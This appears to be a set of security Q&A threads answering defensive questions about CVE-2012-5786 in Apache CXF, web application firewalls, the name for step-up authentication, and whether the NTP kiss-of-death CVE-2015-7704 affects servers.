You could try signing up for the US-CERT Weekly Vulnerability Summary.

  The US-CERT Cyber Security Bulletin provides a summary of new
  vulnerabilities that have been recorded by the National Institute of
  Standards and Technology (NIST) National Vulnerability Database (NVD)
  in the past week.

US-CERT also has some other alerts and options, including ATOM feeds. Take a look at https://www.us-cert.gov/ncas.


Does CVE-2012-5786 affect Apache CXF 3.1.11 and later? We use the OWASP Dependency Check to identify vulnerabilities in the dependencies of our Java project. One that is being flagged is CVE-2012-5786. According to that CVE, the issue is "in Apache CXF, possibly 2.6.0".

We are using Apache CXF 3.1.11, released April 2017. Because of how vague the CVE is about which versions are affected, we're unsure if our version of CXF is affected. We suspect not since it's five years old, but I guess we don't know for sure.

Does CVE-2012-5786 affect Apache CXF 3.1.11 (and later)?

What I understand from exploit article linked in cve (shmat_ccs12.pdf) : cxf is vulnerable to man in the middle attack when configured not to check certificates (disableCNCheck=true).
By default it is configured to check certificates, so if you don't play with disableCNCheck (to use self signed certificate by example) you're safe regarding this cve.


How to detect anomalous activity in web server traffic? I'm wondering how to successfully detect malicious activity in my web server traffic?

Could you point me out some popular solutions which can help me to detect attacks on my web application?

I didn't find similar questions with sufficient answer.

I will appreciate any answer.

B

It sounds like what you're looking to do is intrusion detection, but at a web application level (layer 7). This is usually referred to as a Web Application Firewall (WAF).

(Note the differences between a network IDS/IPS and a WAF: http://www.sans.org/security-resources/idfaq/ips-web-app-firewall.php)

Web Application Firewalls are generally designed to prevent as well as detect/alert, although they hold the key ability to analyse web traffic for suspected malicious activity. As a general rule they seem include logging and alerting capabilities in addition to the prevention.

Some potential solutions include:

Cloud-based products such as Incapsula and Cloudflare
Host-based such as ModSecurity, IronBee and WebKnight
Appliance/network-based such as F5's ASM, WAPPLES and Barracuda WAF

A list of WAFs from OWASP: https://www.owasp.org/index.php/Web_Application_Firewall

These are examples of popular implementations rather than personal recommendations.


Staged Authentication Would anyone happen to know the terminology for using "multi-staged authentication", where each stage grants a specific level of authorization?

The concept is that you for instance browse a web page, not identifying and authenticating and you have a Level 0 in authorization.

At some point you wish to perform an action that needs authorization, thus you authenticate with a username and a password (or an OAuth token or some such), and you now have authorization Level 1.

Now you wish to perform a privileged action, which on this particular site requires you to perform 2-factor authentication. You request the action and an authentication mechanism requests you input, which you grant and you are now at authorization Level 2.

Whether this applies to just the action or whether your authorization profile for the session now is altered for the rest of the interactions is inconsequential - to this question. (If you have a good idea as to what would be better/easier/more secure, please feel free to answer that too)

What is this "multi-staged authentication" called? Do anyone know of an actual terminology for this? I may just have failed my Google classes, but could someone throw me a valid and accepted terminology for a similar application?

--
So to add a few of the answers here that I have partly mentioned in comments:
OASIS Trust Elevation
and
IBM Step-up authentication from the accepted answer

This is called step up authentication; I can't find any non-IBM references to it, but it has been discussed repeatedly in Identity Ecosystem Steering Group working group meetings.  I've been less involved for the past year, but this was one of those topics that we all recognize as valuable, but not urgent.  (so please, work on this, do the research and present a solution).

I thought I recalled mention of this in NIST 800-63, but I can't find it right now.   Closely related to your question, is what NIST calls "multi-token authentication" where multiple independent tokens are used in tandem to achieve a higher level of assurance.

  The Claimant presents token authenticators generated by two or more tokens to prove his or her identity to the Verifier. The combination of tokens is characterized by the combination of factors used by the tokens (both inherent in the manifestation of the tokens, and those used to activate the tokens). A Verifier that requires a Claimant to enter a password and use a single-factor cryptographic device is an example of multi-token authentication. The combination is considered multi-factor, since the password is something you know and the cryptographic device is something you have. NIST 800-63

If you can't find anything on step-up authentication, you might look for people who are working in multi-token authentication.

I think I've also heard this referred to as dynamic authentication, but it appears that Visa has absorbed that term for a proprietary technique, so I would discard that as a search term.


Can CVE-2015-7704 - ntpd kiss-of-death affect NTP time servers or just clients? As the ntp.conf file on a linux server can be setup to allow the system to act as both a client to the public servers and a time server source for local systems am I correct in assuming that it (the "server") also needs the updated ntpd package? All of the documentation on this CVE specifically talks about "clients".

The vulnerability is about being able to manipulate the polling rate, something that is only relevant to a client. https://bugzilla.redhat.com/show_bug.cgi?id=1271070

CVE-2015-7705 is the CVE for the bug that affects the server (DOS).

The full technical discussion of the bugs is found here: http://bugs.ntp.org/show_bug.cgi?id=2901

In answer to the "stratum" question, you have to look at the definition of the KoD messages:

  According to the NTP specification RFC 1305, if the Stratum field
  in the NTP header is 1, indicating a primary server, the Reference
  Identifier field contains an ASCII string identifying the particular reference clock type.  However, in RFC 1305 nothing is said about the Reference Identifier field if the Stratum field is 0, which is called
  out as "unspecified".  However, if the Stratum field is 0, the
  Reference Identifier field can be used to convey messages useful for
  status reporting and access control.  In NTPv4 and SNTPv4, packets of
  this kind are called Kiss-o'-Death (KoD) packets, and the ASCII
  messages they convey are called kiss codes.  The KoD packets got
  their name because an early use was to tell clients to stop sending
  packets that violate server access controls.

RFC 4330